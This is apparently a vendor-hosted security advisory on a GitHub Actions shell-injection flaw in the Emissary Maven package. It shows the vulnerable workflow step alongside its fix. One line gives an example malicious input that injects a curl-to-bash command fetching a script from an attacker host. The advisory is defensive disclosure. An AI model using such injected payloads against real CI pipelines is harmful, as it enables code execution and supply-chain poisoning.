Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕ Maven

GHSA-3g6g-gq4r-xjm9

CRITICAL

GHSA-3g6g-gq4r-xjm9 is a critical-severity (CVSS 9.1) CWE-77 vulnerability in gov.nsa.emissary:emissary. O3 Security confirms whether GHSA-3g6g-gq4r-xjm9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Emissary has GitHub Actions Shell Injection via Workflow Inputs

Also known asCVE-2026-35580
Published
Apr 8, 2026
Updated
Apr 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
☕gov.nsa.emissary:emissary

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

Workflow fileInjection points
.github/workflows/maven-version.yml4
.github/workflows/cherrypick.yml5
.github/workflows/maven-release.yml1

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

  • Arbitrary code execution within the CI/CD runner
  • Repository modification via the contents: write token (push malicious commits)
  • Supply chain poisoning — downstream users who clone or build receive compromised code
  • Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

  • maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
  • maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
  • cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavengov.nsa.emissary:emissaryall versions8.39.0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gov.nsa.emissary:emissary. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update gov.nsa.emissary:emissary to 8.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3g6g-gq4r-xjm9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3g6g-gq4r-xjm9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3g6g-gq4r-xjm9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Three GitHub Actions workflow files contained **10 shell injection points** where user-controlled `workflow_dispatch` inputs were interpolated directly into shell commands via `${{ }}` expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. ## Affected Files | Workflow file | Injection points | |------------------------------------------|------------------| | `.github/workflows/maven-version.yml` | 4 |
O3 Security · Impact-Aware SCA

Is GHSA-3g6g-gq4r-xjm9 in your dependencies?

O3 detects GHSA-3g6g-gq4r-xjm9 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works